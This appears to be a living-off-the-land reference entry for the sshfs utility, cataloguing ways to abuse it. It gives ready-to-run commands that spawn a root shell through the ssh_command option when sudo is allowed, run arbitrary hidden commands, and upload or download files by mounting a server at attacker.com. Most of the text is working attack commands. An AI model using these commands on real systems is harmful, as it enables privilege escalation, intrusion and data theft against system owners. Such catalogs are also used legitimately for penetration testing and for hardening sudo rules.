Shell

This executable can spawn an interactive system shell.
  1. CommentThe mount dir must be writable by the invoking user.
    This function can be performed by any unprivileged user.
    echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
    chmod +x /path/to/temp-file
    sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
    chmod +x /path/to/temp-file
    sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/

Command

This executable can run non-interactive system commands.
  1. This function can be performed by any unprivileged user.
    sshfs -o ssh_command=/path/to/command x: /path/to/dir/
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    sshfs -o ssh_command=/path/to/command x: /path/to/dir/
    OutputThe commands are executed but their output is hidden from the attacker.

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    sshfs user@attacker.com:/ /path/to/dir/
    cp /path/to/input-file /path/to/dir/
    ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    sshfs user@attacker.com:/ /path/to/dir/
    cp /path/to/dir/path/to/input-file /path/to/output-file
    SenderAn SSH server can be used on the attacker box to send the data.